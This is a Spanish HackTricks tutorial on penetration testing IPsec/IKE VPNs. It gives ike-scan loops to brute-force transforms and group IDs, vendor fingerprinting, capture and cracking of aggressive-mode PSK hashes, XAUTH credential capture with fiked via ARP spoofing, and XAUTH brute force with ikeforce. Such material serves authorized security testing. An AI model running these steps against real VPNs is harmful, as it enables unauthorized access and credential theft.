# 500/udp - Pentesting IPsec/IKE VPN
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Información básica IPsec es la tecnología más comúnmente utilizada tanto para soluciones de VPN empresariales de puerta a puerta (LAN a LAN) como de host a puerta (acceso remoto). **IKE es un tipo de implementación de ISAKMP** (Protocolo de Gestión de Claves de Asociación de Seguridad de Internet), que es un marco para la autenticación e intercambio de claves. IKE establece la asociación de seguridad (SA) entre dos puntos finales a través de un proceso de tres fases: * **Fase 1:** Establecer un canal seguro entre 2 puntos finales utilizando una clave precompartida (PSK) o certificados. Puede utilizar el modo principal (3 pares de mensajes) o el modo **agresivo**. * **Fase 1.5:** Esto es opcional, se llama Fase de Autenticación Extendida y autentica al usuario que está intentando conectarse (usuario+contraseña). * **Fase 2:** Negocia el parámetro para la seguridad de los datos utilizando ESP y AH. Puede utilizar un algoritmo diferente al utilizado en la fase 1 (Secreto Directo Perfecto (PFS)). **Puerto predeterminado:** 500/udp ## **Descubre** el servicio utilizando nmap ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Encontrar una transformación válida** La configuración de IPSec puede estar preparada para aceptar solo una o algunas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene un número de atributos como DES o 3DES como el algoritmo de **encriptación**, SHA o MD5 como el algoritmo de **integridad**, una clave precompartida como el tipo de **autenticación**, Diffie-Hellman 1 o 2 como el algoritmo de **distribución de claves** y 28800 segundos como el **tiempo de vida**. Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor te responda. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete al gateway con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones dentro**. Dependiendo de la respuesta, puedes obtener información sobre el punto final: ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (y esto es realmente bueno para un pentester).\ **El valor de la última línea también es muy importante:** * _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**. * _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transformaciones propuestas son aceptables** (se mostrará una transformación válida en la salida). * _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguna de las transformaciones es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada). Entonces, en este caso ya tenemos una transformación válida, pero si te encuentras en el tercer caso, entonces necesitas **probar un poco para encontrar una transformación válida:** En primer lugar, necesitas crear todas las posibles transformaciones: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` Y luego realizar un ataque de fuerza bruta en cada uno utilizando ike-scan (esto puede llevar varios minutos): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin realizar los saludos incluso para transformaciones válidas. En ese caso, podrías intentar el mismo ataque de fuerza bruta pero utilizando el modo agresivo: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Esperemos que **se devuelva una transformación válida**.\ Puedes intentar el **mismo ataque** utilizando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../.gitbook/assets/image (109).png>) En **Grupo DH: 14 = 2048-bit MODP** y **15 = 3072-bit**\ **2 = HMAC-SHA = SHA1 (en este caso). El formato --trans es $Enc,$Hash,$Auth,$DH** Cisco recomienda evitar especialmente los grupos DH 1 y 2. Los autores del artículo describen cómo es probable que los estados nacionales puedan descifrar sesiones IPsec negociadas utilizando grupos débiles a través de la precomputación de log discreto. Los cientos de millones de dólares gastados en la precomputación se amortizan a través del descifrado en tiempo real de cualquier sesión que utilice un grupo débil (de 1,024 bits o menos). ### Fingerprinting del servidor Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducirla. Luego, **analizará** la **diferencia de tiempo** entre los **mensajes** recibidos del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la carga útil opcional **Vendor ID (VID)** con IKE. **Especifica la transformación válida si es necesario** (usando --trans) Si IKE descubre cuál es el proveedor, lo imprimirá: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` Esto también se puede lograr con el script de nmap _**ike-version**_ ## Encontrar el ID correcto (nombre del grupo) Para poder capturar el hash, necesitas una transformación válida que admita el modo Aggressive y el ID correcto (nombre del grupo). Es probable que no conozcas el nombre del grupo válido, por lo que tendrás que realizar un ataque de fuerza bruta para encontrarlo.\ Para hacerlo, te recomendaría 2 métodos: ### Ataque de fuerza bruta del ID con ike-scan En primer lugar, intenta hacer una solicitud con un ID falso para intentar obtener el hash ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará un hash falso para una ID falsa, por lo que este método no será confiable** para realizar un ataque de fuerza bruta a la ID. Por ejemplo, se podría devolver un hash falso (esto ocurre en versiones modernas): ![](<../.gitbook/assets/image (110).png>) Pero si, como he dicho, no se devuelve ningún hash, entonces debes intentar realizar un ataque de fuerza bruta a los nombres de grupo comunes utilizando ike-scan. Este script **intentará realizar un ataque de fuerza bruta a las posibles IDs** y devolverá las IDs donde se devuelva un handshake válido (esto será un nombre de grupo válido). Si has descubierto una transformación específica, añádela en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente). Puedes utilizar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para realizar el ataque de fuerza bruta. ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` O utiliza este diccionario (es una combinación de los otros 2 diccionarios sin repeticiones): {% file src="../.gitbook/assets/vpnIDs.txt" %} ### Fuerza bruta de ID con Iker [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para forzar posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**. ### Fuerza bruta de ID con ikeforce [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **forzar IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (puede haber falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible). Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para comprobar el comportamiento del servidor y determinar la táctica a utilizar. * El **primer método** consiste en forzar los nombres de grupo **buscando** la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre de grupo es correcto). * El **segundo método** disponible es **comprobar el número de respuestas enviadas en cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto. * El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**. * Finalmente, si el servidor no responde nada a las comprobaciones, **ikeforce** intentará forzar el servidor y comprobar si cuando se envía el ID correcto, el servidor responde con algún paquete.\ Obviamente, el objetivo de la fuerza bruta del ID es obtener el **PSK** cuando se tiene un ID válido. Luego, con el **ID** y el **PSK**, tendrás que forzar el XAUTH (si está habilitado). Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### Sniffing ID También es posible obtener nombres de usuario válidos al interceptar la conexión entre el cliente y el servidor VPN, ya que el primer paquete del modo agresivo que contiene el ID del cliente se envía en texto claro (del libro **Network Security Assessment: Know Your Network**) ![](<../.gitbook/assets/image (111).png>) ## Capturando y descifrando el hash Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si se permite el **modo agresivo**, entonces puedes obtener fácilmente el hash que se puede descifrar: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` El hash se guardará dentro de _hash.txt_. Puedes usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) y **hashcat** para **descifrar** el hash: ```bash psk-crack -d psk.txt ``` ## **XAuth** La mayoría de las implementaciones utilizan **el modo agresivo IKE con una PSK para realizar la autenticación de grupo**, y **XAUTH para proporcionar autenticación adicional de usuarios** (a través de Microsoft Active Directory, RADIUS o similar). Dentro de **IKEv2**, **EAP reemplaza a XAUTH** para autenticar a los usuarios. ### MitM en la red local para capturar credenciales Para capturar los datos del inicio de sesión, puedes utilizar _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` Además, utilizando IPSec, intenta realizar un ataque de MitM y bloquea todo el tráfico al puerto 500. Si no se puede establecer el túnel IPSec, tal vez el tráfico se envíe sin cifrar. ### Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce Para realizar una fuerza bruta en el **XAUTH** (cuando conoces un nombre de grupo válido **id** y el **psk**), puedes utilizar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` De esta manera, ikeforce intentará conectarse utilizando cada combinación de nombre de usuario: contraseña. Si encontraste una o varias transformaciones válidas, úsalas como en los pasos anteriores. ## Autenticación con una VPN IPSEC En Kali se utiliza **VPNC** para establecer túneles IPsec. Los **perfiles** deben ubicarse en _**/etc/vpnc/**_ y puedes usar la herramienta _**vpnc**_ para llamarlos.\ Ejemplo tomado del libro **Network Security Assessment 3rd Edition**: ``` root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP IPSec gateway 10.0.0.250 IPSec ID vpntest IPSec secret groupsecret123 IKE Authmode psk Xauth username chris Xauth password tiffers1 STOP root@kali:~# vpnc vpntest VPNC started in background (pid: 6980)... root@kali:~# ifconfig tun0 ``` ## Material de referencia * [Documento de cracking de PSK](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Escaneo de una implementación de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) ## Shodan * `port:500 IKE`
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).